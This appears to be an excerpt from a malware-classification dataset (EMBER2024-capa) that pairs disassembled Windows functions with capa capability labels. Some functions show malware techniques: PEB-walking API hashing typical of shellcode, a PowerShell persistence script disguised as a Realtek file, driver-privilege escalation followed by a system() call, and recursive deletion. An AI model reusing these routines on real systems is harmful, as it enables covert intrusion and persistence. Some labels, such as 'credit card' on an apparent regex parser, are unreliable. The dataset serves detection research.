joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008100
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x14002d0a0]
test rcx, rcx
je 0x14000813b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008160
mov rcx, qword [0x14002d0a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002e0c0], 0
jne 0x140008178
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x14002d0a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14000812e
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001d3f8]
mov qword [rsp + 0x20], 0
lea rdi, [0x14002e0e0]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008244
test al, 0x10
je 0x140008144
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140008144
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x1400081f0
jmp 0x140008144

Function at 0x14000f030
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015530
sub rsp, rax
mov eax, dword [0x1400320e0]
mov rsi, rcx
test eax, eax
je 0x14000f0d0
xor ebx, ebx
lea rdi, [0x1400300e0]
test eax, eax
jg 0x14000f06c
jmp 0x14000f080
add rbx, 1
cmp dword [0x1400320e0], ebx
jle 0x14000f080
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000f060
jmp 0x14000f0b7
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000f095
cmp word [rsi + 2], 0x3a
je 0x14000f0b7
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000f120
movsxd rbx, dword [0x1400320e0]
cmp ebx, 0x3ff
jle 0x14000f138
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str._HOME_
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007870
test al, al
je 0x14000f15a
movsxd rbx, dword [0x1400320e0]
mov rcx, rdi
lea rdi, [0x1400300e0]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x1400320e0]
add eax, 1
mov dword [0x1400320e0], eax
jmp 0x14000f051
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000f0a4
xor eax, eax
jmp 0x14000f0bc
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x1400320e0], 1
mov rdx, rax
lea rax, [0x1400300e0]
mov qword [rax + rbx*8], rdx
jmp 0x14000f0b7
mov rcx, rbx
call fcn.140008040
nop
nop word cs:[rax + rax]
nop
Function at 0x140014210
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b170
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b170
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140014ee2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140032208]
test eax, eax
je 0x140014f7a
lea rax, [0x1400321e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140032210]
mov qword [rbp - 8], rax
jmp 0x140014f5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140014f52
cmp qword [rbp - 0x10], 0
je 0x140014f52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140014f18
lea rax, [0x1400321e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140014f7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140015080
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400150a8
mov eax, 0
jmp 0x1400150f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400150d1
mov eax, 0
jmp 0x1400150f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400150f1
mov eax, 0
jmp 0x1400150f6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400150fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001517a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140015171
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140015171
mov rax, qword [rbp - 8]
jmp 0x14001518f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015144
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001db0
Capabilities:
Check if file exists
Get file attributes
Query environment variable

Disassembly:
sub rsp, 0x248
lea rdx, [rsp + 0x140]
lea rcx, str.USERPROFILE
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rax, str.RtkAudioServiceStartup64.ps1
mov qword [rsp + 0x138], rax
lea r9, [rsp + 0x140]
lea rcx, [rsp + 0x30]
lea r8, str._sAppDataRoamingRealtekRtkAudioServiceStartup64.ps1
mov edx, 0x104
call fcn.140002130
lea rax, str._Specifica_il_percorso_nel_Registro_di_sistema_da_esaminare_n_percorsoRegistro__HKLM:SOFTWAREMicrosoftWindowsCurrentVersionRun_n_Ottiene_tutte_le_chiavi_nel_percorso_specificato_n_chiavi__Get_Item__LiteralPath__percorsoRegistro__Get_ItemProperty__ForEach_Object____.PSObject.Properties__n_Cerca_il_primo_valore_che_contiene_la_stringa_RTK_n_primoValoreRtk___chiavi__Where_Object____.Value__like_RTK___Select_Object__First_1_n_Verifica_se
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001e99
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140001e99
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
lea r8, [0x14001f0aa]
call fcn.140008b50
cmp eax, 0
jne 0x140001e88
cmp qword [rsp + 0x20], 0
je 0x140001e88
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
call fcn.140008c6c
mov rcx, qword [rsp + 0x20]
call fcn.140008f30
lea rdx, [rsp + 0x30]
lea rcx, str.___File_created_with_success:__s_n_n
call fcn.140001f40
jmp 0x140001e94
lea rcx, str.____Error_during_creation_of_File_n_n
call fcn.140001f40
jmp 0x140001eaa
lea rdx, [rsp + 0x30]
lea rcx, str._i__The_file__s_already_exists._No_operation_executed_n_n
call fcn.140001f40
nop
add rsp, 0x248
ret

Function at 0x140003b48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003b92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003b92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003b92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003b92
cmp dword [rcx + 0x84], 0xe
jbe 0x140003b92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003b94
xor al, al
add rsp, 0x28
ret
Function at 0x140001750
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.140001826
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]

Function at 0x140001770
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.140001826
push r9
push r8
push rdx
push rcx
push rsi
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]

Function at 0x1400017c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140001787
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000177d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x14000181b
mov eax, dword [rax + 0x88]
test rax, rax
je 0x14000181b
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x14000181a
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x1400017d1
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x1400017c2
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140001771

Function at 0x1400017de
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx rcx, word [rdx + 0x4a]
xor r9, r9
mov rsi, qword [rdx + 0x50]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140001787
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000177d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x14000181b
mov eax, dword [rax + 0x88]
test rax, rax
je 0x14000181b
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x14000181a
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x1400017d1
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x1400017c2
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140001771
Function at 0x1400019f4
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140003040]
xor rax, rsp
mov qword [rsp + 0x70], rax
cmp qword [0x140003020], 0
mov rax, qword [0x140003008]
movups xmm0, xmmword [rax - 0x10]
movdqu xmmword [rsp + 0x30], xmm0
je 0x140001a2c
mov ecx, 5
int 0x29
xorps xmm0, xmm0
lea r9, [0x140003020]
lea r8, [section..data]
lea rdx, [0x140001010]
lea rcx, [rsp + 0x30]
movdqu xmmword [0x140003028], xmm0
call qword [sym.imp.ADVAPI32.dll_EventRegister]
nop dword [rax + rax]
test eax, eax
jne 0x140001a82
mov r8, qword [0x140003008]
lea edx, [rax + 2]
mov rcx, qword [0x140003020]
movzx r9d, word [r8]
call qword [sym.imp.ADVAPI32.dll_EventSetInformation]
nop dword [rax + rax]
cmp dword [section..data], 5
jbe 0x140001af5
movabs rcx, 0x2000000000000
test qword [0x140003010], rcx
je 0x140001af5
mov rax, qword [0x140003018]
and rax, rcx
cmp rax, qword [0x140003018]
jne 0x140001af5
and dword [rsp + 0x6c], 0
lea rax, str.CalculatorStarted
mov qword [rsp + 0x60], rax
lea rdx, [0x140002489]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x68], 0x12
mov qword [rsp + 0x28], rax
lea rcx, [section..data]
xor r9d, r9d
mov dword [rsp + 0x20], 3
xor r8d, r8d
call fcn.140001098
mov dword [rsp + 0x28], 1
lea r8, str.ms_calculator:
and qword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop dword [rax + rax]
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001140
add rsp, 0x88
ret
Function at 0x140001070
Capabilities:
Execute command

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeLoadDriverPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x1400010e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LookupPrivilegeValue_error:__un
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001190
add rsp, 0x68
ret
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov r9d, 0x10
mov qword [rsp + 0x28], 0
xor edx, edx
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001155
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges_error:__x
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001190
add rsp, 0x68
ret
lea rcx, [0x1400022e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001190
add rsp, 0x68
ret
Function at 0x18000855c
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x18007f088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r12, rdx
mov rbx, rcx
mov qword [rbp - 0x40], rcx
xor r13d, r13d
mov dword [rbp - 0x40], r13d
mov rdx, qword [rdx + 8]
sub rdx, qword [r12]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x40000001
mov rcx, qword [r12]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
xorps xmm0, xmm0
test eax, eax
jne 0x1800085d7
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
jmp 0x1800086e6
mov edi, dword [rbp - 0x40]
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 0xf
cmp rdi, 0x10
jae 0x180008609
mov qword [rbp - 0x20], rdi
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.18003cce0
mov byte [rbp + rdi - 0x30], r13b
jmp 0x180008655
mov r14, rdi
or r14, 0xf
mov eax, 0x16
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x180008630
call fcn.180002734
jmp 0x180008635
call fcn.18003a2e8
mov r15, rax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], r14
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.18003cce0
mov byte [r15 + rdi], r13b
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae r9, qword [rbp - 0x30]
mov rdx, qword [r12 + 8]
sub rdx, qword [r12]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
mov rcx, qword [r12]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x1800086d7
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x1800086e6
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800086d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000870f
call fcn.18003a324
jmp 0x1800086e6
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.18003a7c0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180040fc4
int3
Function at 0x180008718
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x1f8]
sub rsp, 0x2f0
mov rax, qword [0x18007f088]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rdi, rcx
xor esi, esi
lea r8, [0x1800685d0]
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.18000265c
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800088b9
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.18000265c
nop
lea rcx, [rbp - 0x44]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], si
jne 0x1800087a6
lea rdx, [rbp - 0x44]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
lea rcx, [rsp + 0x68]
call fcn.18000dab8
test byte [rbp - 0x70], 0x10
je 0x180008844
movzx eax, word [rbp - 0x42]
cmp word [rbp - 0x44], 0x2e
jne 0x180008821
test ax, ax
je 0x18000882b
cmp word [rbp - 0x44], 0x2e
jne 0x180008821
cmp ax, 0x2e
jne 0x180008821
cmp word [rbp - 0x40], si
je 0x18000882b
lea rcx, [rsp + 0x28]
call fcn.180008718
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 8
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x18000885c
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 8
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 8
jb 0x18000889a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x180008895
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800088eb
call fcn.18003a324
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180008789
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rsp + 0x48]
call fcn.18000dab8
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.18003a7c0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180040fc4
nop
int3
Function at 0x180009ba8
Capabilities:
Get file size
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x18007f088]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rdi, rcx
mov qword [r11 - 0x30], rcx
mov qword [r11 - 0x28], rdx
mov r8d, 1
mov dword [r11 - 0x34], r8d
and qword [rcx], 0
and qword [rcx + 8], 0
and qword [rcx + 0x10], 0
mov dword [r11 - 0x34], r8d
mov rcx, rdx
cmp qword [rdx + 0x18], 8
jb 0x180009c01
mov rcx, qword [rdx]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x180009cbb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
cmp eax, 0xffffffff
je 0x180009cb1
mov ecx, r14d
mov r9, qword [rdi + 8]
mov r8, qword [rdi]
mov rdx, r9
sub rdx, r8
cmp r14, rdx
jae 0x180009c63
add rcx, r8
mov qword [rdi + 8], rcx
jmp 0x180009c99
jbe 0x180009c99
mov rax, qword [rdi + 0x10]
sub rax, r8
cmp rcx, rax
jbe 0x180009c83
lea r8, [rsp + 0x40]
mov rdx, rcx
mov rcx, rdi
call fcn.180004d54
jmp 0x180009c99
sub rcx, rdx
lea rbx, [r9 + rcx]
mov rdx, rbx
mov rcx, r9
call fcn.18000520c
mov qword [rdi + 8], rbx
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, r14d
mov rdx, qword [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, rsi
call fcn.18000dab8
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18003a7c0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x18000a730
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x18000a8bd
cmp ecx, 0x7c
je 0x18000a8bd
cmp ecx, 0x29
jne 0x18000a7aa
cmp dword [rdi + 0x1c], 0
jne 0x18000a8bd
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x18000a8d6
cmp ecx, 0x5d
jne 0x18000a787
test dword [rbx], 0x10000000
je 0x18000a8e4
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.180009d50
mov rcx, rdi
call fcn.18000d6d0
mov rcx, rdi
call fcn.18000d7e8
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x18000a742
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x18000a7c1
lea rcx, [rdi + 0x40]
call fcn.180009fc8
jmp 0x18000a793
cmp ecx, 0x5c
jne 0x18000a80f
mov rcx, rdi
call fcn.18000d6d0
test byte [rbx], 0x80
je 0x18000a805
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x18000a7ed
lea rcx, [rdi + 0x40]
call fcn.18000a724
mov rcx, rdi
call fcn.18000d6d0
jmp 0x18000a7a3
cmp al, 0x42
jne 0x18000a805
lea rcx, [rdi + 0x40]
call fcn.18000a724
lea rcx, [rdi + 0x40]
call fcn.18000d66c
jmp 0x18000a7e3
mov rcx, rdi
call fcn.18000a900
jmp 0x18000a79b
cmp ecx, 0x5b
jne 0x18000a83a
mov rcx, rdi
call fcn.18000d6d0
mov rcx, rdi
call fcn.18000b128
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.18000c3f4
jmp 0x18000a79b
cmp ecx, 0x28
jne 0x18000a86f
mov rcx, rdi
call fcn.18000d6d0
mov rcx, rdi
call fcn.18000dd0c
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.18000c3f4
test bl, bl
je 0x18000a7a3
jmp 0x18000a79b
cmp ecx, 0x5e
jne 0x18000a882
lea rcx, [rdi + 0x40]
call fcn.180009d44
jmp 0x18000a7e3
cmp ecx, 0x24
jne 0x18000a895
lea rcx, [rdi + 0x40]
call fcn.18000a0b8
jmp 0x18000a7e3
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x18000a8f2
cmp ecx, 0x3f
je 0x18000a8f2
cmp ecx, 0x7b
je 0x18000a8f2
cmp ecx, 0x7d
jne 0x18000a776
test dword [rbx], 0x10000000
je 0x18000a8c8
jmp 0x18000a787
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.18000c3e8
int3
mov edx, 5
mov rcx, rdi
call fcn.18000c3e8
int3
mov edx, 4
mov rcx, rdi
call fcn.18000c3e8
int3
mov edx, 0xa
mov rcx, rdi
call fcn.18000c3e8
int3

Function at 0x18000e388
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x58
mov rax, qword [0x18007f088]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rcx, str.C:UsersPublicM2gOFwEiRxYNGhFbKS8.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
